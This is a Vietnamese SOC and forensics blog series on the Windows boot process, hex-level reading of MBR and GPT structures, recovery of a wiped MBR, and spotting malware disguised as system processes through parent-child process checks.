4. SOC Analytics: “Bắt thóp” mã độc ngụy trang

Hacker biết rất rõ kiến trúc này. Chúng thừa hiểu nếu chạy một file tên là Trojan_steal_data.exe, các nhà phân tích SOC sẽ khóa cổ chúng ngay lập tức. Vì vậy, chúng thường đổi tên mã độc thành svchost.exe, lsass.exe hay csrss.exe.

Vậy làm sao để SOC Analyst nhận diện được kẻ giả mạo? Chúng ta dựa vào Mối quan hệ Cha - Con (Parent-Child Process) và Vị trí file.

Quy luật 1: lsass.exe xịn chỉ có một bản duy nhất đang chạy, vị trí file bắt buộc phải ở C:\Windows\System32\, và tiến trình cha bắt buộc phải là wininit.exe. Nếu bạn thấy lsass.exe mọc ra từ explorer.exe (nghĩa là do người dùng click chuột mở lên) hoặc nằm ở thư mục C:\Temp\, đó 100% là Malware.
Quy luật 2: svchost.exe có thể có hàng chục bản đang chạy (để chứa các dịch vụ khác nhau). Nhưng tất cả chúng đều phải có tiến trình cha là services.exe. Mã độc thường sinh ra svchost.exe độc lập để đánh lừa mắt người.

Mục tiêu số 1 - lsass.exe: Vì tiến trình này làm nhiệm vụ đối chiếu và lưu trữ thông tin đăng nhập, nó giữ rất nhiều mật khẩu (đôi khi là mật khẩu chưa mã hóa) trong RAM của nó. Các công cụ tấn công khét tiếng như Mimikatz luôn tìm cách can thiệp vào bộ nhớ của lsass.exe để trích xuất (dump) mật khẩu của quản trị viên.

Kiến trúc tiến trình của Windows là một cỗ máy vận hành hoàn hảo với ranh giới quyền lực khắt khe. Việc hiểu rõ ai gọi ai, ai làm nhiệm vụ gì là kỹ năng sống còn giúp SOC Analyst nhạy bén trước các kỹ thuật ẩn mình (Evasion) của Malware. Trong bài viết tiếp theo, chúng ta sẽ rời khỏi RAM để đi sâu vào các ngóc ngách của ổ cứng: Khám phá hệ thống tệp NTFS và kỹ thuật giấu mã độc bằng Alternate Data Streams. Đừng bỏ lỡ nhé!

Giải phẫu ổ cứng (Forensics)

Thu, 07 May 2026 16:40:00 +0700

Ở bài viết trước, chúng ta đã đi qua bức tranh tổng thể của quá trình khởi động. Nhưng đối với một nhà phân tích SOC hay chuyên gia điều tra số (Forensics), “nhìn thấy” hệ điều hành khởi động là chưa đủ. Chúng ta cần phải nhìn thấu vào từng Byte, từng khối Hex trên mặt đĩa vật lý để biết hacker đang giấu gì. Hôm nay, hãy cùng mình mở công cụ HxD lên và đi sâu vào giải phẫu MBR, GPT, đồng thời thực hành một kịch bản “cứu hộ” kinh điển: Khôi phục MBR bị mã độc phá hủy.

1. MBR (Master Boot Record) dưới lăng kính Hex

💡 Nhắc lại kiến thức: Ở bài viết trước, chúng ta đã tìm hiểu về cấu trúc 512 byte chật chội của MBR (gồm 446 byte Bootstrap, 64 byte Bảng phân vùng và 2 byte Chữ ký). Nếu bạn chưa nắm rõ phần này, hãy xem lại bài viết Khởi nguồn hệ thống - Windows Booting trước khi đi tiếp nhé!

1.1 Giải mã 16 Byte của Bảng phân vùng (Partition Table)

Nhìn vào 16 byte của một phân vùng trong HxD, làm sao ta đọc hiểu được nó? Hãy lấy ví dụ một chuỗi Hex chuẩn của phân vùng khởi động:

80 20 21 00 07 FE FF FF 00 08 00 00 00 B0 23 03

Đây là cách chúng ta hiểu nó:

Chỉ báo khởi động (Byte 1 - 80): Giá trị 80 nghĩa là phân vùng này có thể khởi động được (Active/Bootable). Nếu là 00 thì đây chỉ là ổ chứa dữ liệu bình thường.
Địa chỉ CHS bắt đầu (Byte 2,3,4 - 20 21 00): Tọa độ vật lý (Cylinder-Head-Sector) bắt đầu của đĩa. Ngày nay, thông số này không còn quá quan trọng.
Mã hệ thống tệp (Byte 5 - 07): Giá trị 07 khẳng định đây là phân vùng định dạng NTFS.
Địa chỉ CHS kết thúc (Byte 6,7,8 - FE FF FF): Tọa độ vật lý kết thúc của phân vùng.
Địa chỉ LBA bắt đầu (Byte 9,10,11,12 - 00 08 00 00): Tọa độ logic bắt đầu. Do Windows dùng định dạng Little-Endian (byte thấp đứng trước), ta phải đọc ngược lại thành 00 00 08 00. Đổi chuỗi Hex 0800 ra hệ thập phân ta được 2048. Nhân với 512 byte/sector, ta biết phân vùng này bắt đầu tại Offset 1048576 trên ổ cứng.
Kích thước phân vùng (Byte 13,14,15,16 - 00 B0 23 03): Đọc ngược Little-Endian thành 03 23 B0 00. Chuyển sang thập phân là 52,670,464 sectors. Nhân với 512 byte, ta tính ra phân vùng này nặng khoảng 26,967,277,568 bytes (xấp xỉ 26.9 GB).

Mẹo thực hành: Trong HxD, bạn có thể bấm Ctrl + G (Go to), nhập giá trị thập phân 1048576 vào ô Offset để nhảy thẳng đến vị trí bắt đầu của hệ điều hành.

2. Thử khôi phục MBR bị xóa

Kịch bản sự cố: Máy chủ cơ sở dữ liệu quan trọng đột nhiên không thể khởi động. Điều tra cho thấy một nhân viên đã vô tình mở email chứa mã độc. Hệ thống bị ép khởi động lại và báo lỗi “Operating System not found”. Mọi nghi ngờ đổ dồn vào một Bootkit đã phá hủy MBR.

Tiến hành phân tích: Khi load file Image của ổ cứng nạn nhân vào HxD và soi vào Sector 0, ta phát hiện một điểm chí mạng: Ở Offset 000001F0 (cuối Sector 0), thay vì kết thúc bằng chữ ký chuẩn 55 AA, nó lại chứa toàn 00 00. Không có chữ ký này, BIOS không công nhận đây là một ổ đĩa hợp lệ!

Cách khôi phục:

Dò tìm VBR (Volume Boot Record): Dù MBR bị xóa, nhưng phân vùng chứa hệ điều hành vẫn còn. Theo tiêu chuẩn mặc định của Windows, phân vùng đầu tiên (LBA bắt đầu) thường nằm ở Sector 2048.
Xác nhận: Di chuyển tới Sector 2048. Nếu ta nhìn thấy chuỗi chữ ký NTFS hoặc thông điệp lỗi dạng A disk read error occurred... NTLDR is missing, thì xin chúc mừng, dữ liệu chưa hề mất.
Tái tạo: Bằng các công cụ chuyên dụng (như Bootrec.exe hoặc TestDisk), ta có thể ghi lại 446 byte mã khởi động và chèn lại chữ ký 55 AA vào vị trí cũ, cứu sống hoàn toàn máy chủ mà không làm mất một bit dữ liệu nào.

3. Sự tiến hóa mang tên GPT (GUID Partition Table)

MBR có giới hạn chí mạng: Nó chỉ hỗ trợ tối đa 4 phân vùng và không thể quản lý dung lượng đĩa quá 2 Terabytes. Để đáp ứng các server khổng lồ, UEFI và GPT (hỗ trợ lên đến 9 Zettabyte, 128 phân vùng) ra đời.

Để đảm bảo tương thích ngược và tránh việc các công cụ định dạng cũ tưởng nhầm đĩa GPT là đĩa trắng rồi “vô tình” ghi đè, GPT tạo ra một lớp giáp gọi là Protective MBR (MBR bảo vệ).

3.1 MBR Bảo vệ (Protective MBR)

Nó vẫn nằm ở Sector 0. Cấu trúc của nó y hệt MBR cũ, chứa đủ 55 AA ở cuối, nhưng bảng phân vùng của nó chỉ khai báo đúng 1 phân vùng duy nhất, chiếm toàn bộ đĩa đệm với mã loại (Type) là EE. Mã EE là tín hiệu để các hệ thống cũ lùi lại: “Đây là đĩa GPT, đừng có đụng vào!”

4. Giải phẫu GPT Header và Partition Entry Array

Với GPT, mọi thứ thực sự bắt đầu từ Sector 1 và Sector 2.

4.1 GPT Header (Sector 1)

GPT Header chiếm 92 byte đầu tiên của Sector 1. Khi nhìn vào Hex, bạn sẽ thấy nó cực kỳ rõ ràng:

Chữ ký (8 Byte đầu): Luôn là 45 46 49 20 50 41 52 54 (Dịch ra mã ASCII là “EFI PART”).
Bảo vệ toàn vẹn (CRC32): GPT lưu mã Hash CRC32 của chính nó. Nếu mã độc sửa đổi dù chỉ 1 byte trong Header, CRC32 sẽ thay đổi, UEFI sẽ lập tức phát hiện và báo lỗi.
LBA dự phòng (Backup LBA): Một tính năng tuyệt vời của GPT! Nó khai báo vị trí của một bản sao lưu GPT Header ở tít tận Sector cuối cùng của ổ đĩa. Nếu Header chính bị mã độc phá, ta vẫn có thể dùng bản Backup để hồi sinh hệ thống.

4.2 Partition Entry Array (Mảng phân vùng - Sector 2 trở đi)

GPT hỗ trợ quản lý tới 128 phân vùng, mỗi phân vùng được cấp hẳn 128 Byte để lưu trữ thông tin (thay vì 16 byte chật hẹp như MBR).

Một Partition Entry trong GPT chứa gì?

GUID Loại Phân vùng (16 byte): Định danh loại phân vùng. Đặc biệt, nó được lưu dưới dạng Mixed-Endian (Trộn lẫn giữa Little-Endian và Big-Endian). 3 khối byte đầu phải đọc ngược, trong khi 2 khối sau giữ nguyên.
GUID Phân vùng duy nhất (16 byte): Căn cước công dân (ID) riêng biệt cho từng phân vùng đĩa.
LBA Bắt đầu & Kết thúc (16 byte): Vị trí chính xác của phân vùng.
Tên Phân vùng (72 byte): Được lưu dưới định dạng chuỗi UTF-16. Nếu ném đoạn Hex này vào tool convert, ta sẽ thấy rõ ràng các tên như “Basic data partition” hay “EFI system partition”.

Đặc biệt, hệ điều hành sẽ không boot từ một phân vùng chung chung nữa. Mọi file Bootloader (các file .efi) đều phải được đặt gọn gàng trong một khu vực riêng gọi là Phân vùng hệ thống EFI (ESP). Mã độc muốn can thiệp quá trình Boot trên máy UEFI buộc phải tìm cách chui lọt qua Secure Boot và ghi dữ liệu vào phân vùng ESP này.

Việc đọc hiểu mã Hex của ổ cứng giúp các SOC và Forensics không bị phụ thuộc vào các công cụ tự động. Khi hệ thống sụp đổ hoặc mã độc ẩn mình dưới lớp vỏ bọc, chính những byte dữ liệu thô này sẽ nói cho chúng ta biết sự thật. Ở bài viết tới, chúng ta sẽ bắt tay vào phân tích sâu hơn hệ thống tệp NTFS và kỹ thuật giấu file bằng Alternate Data Streams. Hẹn gặp lại các bạn!

Khởi nguồn hệ thống - Windows Booting

Thu, 07 May 2026 16:30:00 +0700

Chào mừng các bạn đến với Series Giải phẫu Windows OS & SOC Analytics. Ở bài viết đầu tiên này mình sẽ giúp các bạn hiểu về quá trình khởi tạo của Windows.

1. Giai đoạn Phần cứng: Tiếng gọi đầu tiên (Pre-boot)

Bước đầu tiên của quá trình khởi động bắt đầu bằng việc nhấn nút nguồn, thao tác này sẽ gửi tín hiệu điện đến bo mạch chủ và khởi tạo tất cả các thành phần. CPU là thành phần đầu tiên nhận tín hiệu điện và cần một số chỉ dẫn để tiếp tục. Lúc này, quá trình kiểm tra phần cứng POST (Power on Self-Test) sẽ diễn ra để xem RAM, CPU, bàn phím có hoạt động không.

Để có chỉ dẫn, CPU sẽ tìm đến một phần mềm nhúng trên bo mạch chủ (được gọi chung là Firmware). Trong lịch sử thiết kế hệ thống, có hai chuẩn Firmware khởi động chính và sự khác biệt giữa chúng là điểm mấu chốt trong điều tra số:

Legacy BIOS (Hệ thống đầu vào/đầu ra cơ bản): Chuẩn Firmware cũ kỹ hoạt động ở chế độ 16-bit và chỉ hỗ trợ dung lượng ổ đĩa tối đa 2 terabyte. Legacy BIOS đi liền với lược đồ phân vùng MBR (Master Boot Record).
UEFI (Giao diện phần mềm mở rộng thống nhất): Chuẩn Firmware thế hệ mới, hiện đại chạy ở chế độ 32-bit/64-bit, hỗ trợ dung lượng lên đến 9 zettabyte và mang theo tính năng Khởi động an toàn (Secure Boot). UEFI sử dụng sơ đồ phân vùng GPT (GUID Partition Table).

(Lưu ý: Dân IT chúng ta vẫn hay quen miệng gọi chung là “vào màn hình BIOS để cài đặt”, nhưng thực chất trên các máy tính từ năm 2012 trở lại đây, cái mà chúng ta đang truy cập chính là giao diện của UEFI. Trong UEFI có một chế độ gọi là Legacy Mode dùng để giả lập lại môi trường BIOS cũ nhằm hỗ trợ cài các hệ điều hành đời cổ).

2. Giai đoạn Tìm kiếm “Sự Sống”: MBR và GPT

Sau khi kiểm tra POST, BIOS/UEFI sẽ quét các thiết bị khởi động (SSD, HDD, USB) để tìm kiếm mã khởi động (có thể hiểu là đi tìm điểm bắt đầu, và tất nhiên các thiết bị lưu trữ sẽ được ưu tiên hàng đầu).

2.1. BIOS đi tìm MBR (Master Boot Record)

Trên hệ thống BIOS, sector đầu tiên của đĩa (kích thước chuẩn 512 byte) sẽ chứa MBR. Cấu trúc của MBR cực kỳ chật chội:

Bootstrap code (446 bytes): Bộ nạp khởi động ban đầu. Mục đích chính của nó là tìm phân vùng có thể khởi động từ bảng phân vùng và tải bộ nạp khởi động thứ hai từ đó.
Partition Table (64 bytes): Bảng phân vùng chứa thông tin chi tiết của tất cả phân vùng (tối đa 4 phân vùng Primary).
MBR Signature (2 bytes): Chữ ký đánh dấu điểm kết thúc của mã MBR, luôn luôn là giá trị Hex 55 AA.

Note: Vì mã khởi động nằm ngay trong 446 bytes này, Malware (như Bootkit) cực kỳ thích ghi đè vào đây. Bằng cách này, mã độc sẽ sống sót ngay cả khi người dùng format phân vùng hệ điều hành C: vì nó nằm hoàn toàn ngoài vùng kiểm soát của OS.

2.2. Sự tiến hóa: GPT và Protective MBR

UEFI thông minh hơn. Nó không tìm mã khởi động ở sector đầu tiên mà tìm đến một phân vùng đặc biệt gọi là Phân vùng hệ thống EFI (ESP). Trong GPT, bộ nạp khởi động bao gồm nhiều tệp có phần mở rộng .efi và tất cả chúng đều được lưu trữ trong ESP này.

Tuy nhiên, để bảo vệ đĩa GPT khỏi bị các hệ thống BIOS cũ tưởng nhầm là đĩa trắng và ghi đè, GPT tạo ra một lớp giáp gọi là Protective MBR nằm ở ngay sector 0. Protective MBR này chỉ khai báo đúng một phân vùng duy nhất trỏ đến ESP với cờ định dạng là EE (báo hiệu đây là đĩa GPT), để firmware BIOS không can thiệp vào.

3. Giai đoạn Nạp nhân (Windows OS Loader)

Sau khi phân vùng khởi động được xác định, quyền điều khiển được chuyển sang Windows Boot Manager (file bootmgr). Nó sẽ đọc file dữ liệu cấu hình khởi động (BCD - Boot Configuration Data) để quyết định sẽ nạp hệ điều hành nào.

Tiếp theo, logo Windows bắt đầu hiện lên trên màn hình. Đây là lúc file nạp hệ điều hành (Winload.exe hoặc winload.efi) ra sân để nạp các thành phần cốt lõi nhất vào RAM:

ntoskrnl.exe: Trái tim thực sự của hệ thống - Nhân (Kernel) của Windows.
Hal.dll: Lớp trừu tượng phần cứng, có nhiệm vụ “phiên dịch” để Kernel có thể ra lệnh được cho các linh kiện phần cứng vật lý.
System Registry Hive: Nạp các thiết lập cấu hình tối quan trọng của hệ thống từ Registry.
Boot-start Drivers: Các driver tối quan trọng để có thể tiếp tục đọc ổ đĩa.

4. Giai đoạn Khởi tạo hệ thống: Ranh giới và Các tiến trình đầu tiên

Khi Kernel (ntoskrnl.exe) đã nằm vững chãi trên RAM, nó bắt đầu thiết lập trật tự cho hệ thống. Đây là lúc sự phân chia hai cõi Kernel Mode (toàn quyền) và User Mode (hạn chế) được xác lập.

Sau khi kernel khởi động xong, tiến trình System (PID 4) sẽ tạo ra tiến trình User Mode đầu tiên của hệ thống: smss.exe (Session Manager Subsystem).

smss.exe là “ông tổ” của toàn bộ các phiên làm việc trên Windows. Nhiệm vụ của nó là tạo ra các biến môi trường, thiết lập bộ nhớ ảo và bắt đầu chia phòng (Session).

Tạo Session 0: Khu vực cấm địa chỉ dành riêng cho các dịch vụ hệ thống ngầm.
Tạo Session cho người dùng: Môi trường hiển thị giao diện cho chúng ta làm việc.

4.1. Sự hình thành các cây tiến trình (Process Tree)

Cách smss.exe sinh con:

Trong Session 0 (Hệ thống): smss.exe gọi ra wininit.exe (khởi tạo dịch vụ hệ thống) và csrss.exe (runtime subsystem cho session 0).

wininit.exe sau đó tiếp tục tạo ra hai mảnh ghép quan trọng:

services.exe: Trình quản lý dịch vụ. Nó sẽ khởi chạy hàng loạt các dịch vụ hệ thống, phần lớn được bọc bên trong các tiến trình svchost.exe.
lsass.exe (Local Security Authority Subsystem Service): Người gác đền quản lý bảo mật và xác thực thông tin đăng nhập.

Trong Session người dùng: smss.exe gọi ra một phiên bản csrss.exe khác (để xử lý console giao diện) và winlogon.exe (hiển thị màn hình đăng nhập quen thuộc).

Khi bạn nhập mật khẩu trên màn hình của winlogon.exe, nó sẽ gửi thông tin đến lsass.exe để đối chiếu. Nếu mật khẩu đúng, lsass.exe sẽ gật đầu và tạo ra một “thẻ bài” (Access Token) cấp quyền cho phiên làm việc của bạn.

Góc nhìn SOC: Hacker hiểu rõ thứ tự này. Nếu bạn thấy một tiến trình lsass.exe hoặc svchost.exe nằm “chơi vơi” mà không có tiến trình cha hợp lệ (như wininit.exe hay services.exe), hoặc file thực thi không nằm trong C:\Windows\System32\, thì 99% đó là phần mềm độc hại đang “đội lốt” tiến trình hệ thống. Ngoài ra, tiến trình lsass.exe nắm giữ mật khẩu của hệ thống, nên nó thường xuyên là mục tiêu để các công cụ như Mimikatz “dump” bộ nhớ hòng đánh cắp thông tin xác thực.

Kết thúc Bài 1, chúng ta đã nắm được cách một cỗ máy tính thức giấc và xây dựng cấu trúc tiến trình chặt chẽ của nó. Ở bài tiếp theo, chúng ta sẽ bắt tay vào phân tích chuyên sâu về hệ thống tệp và cấu trúc thư mục đĩa đệm. Hãy đón chờ nhé!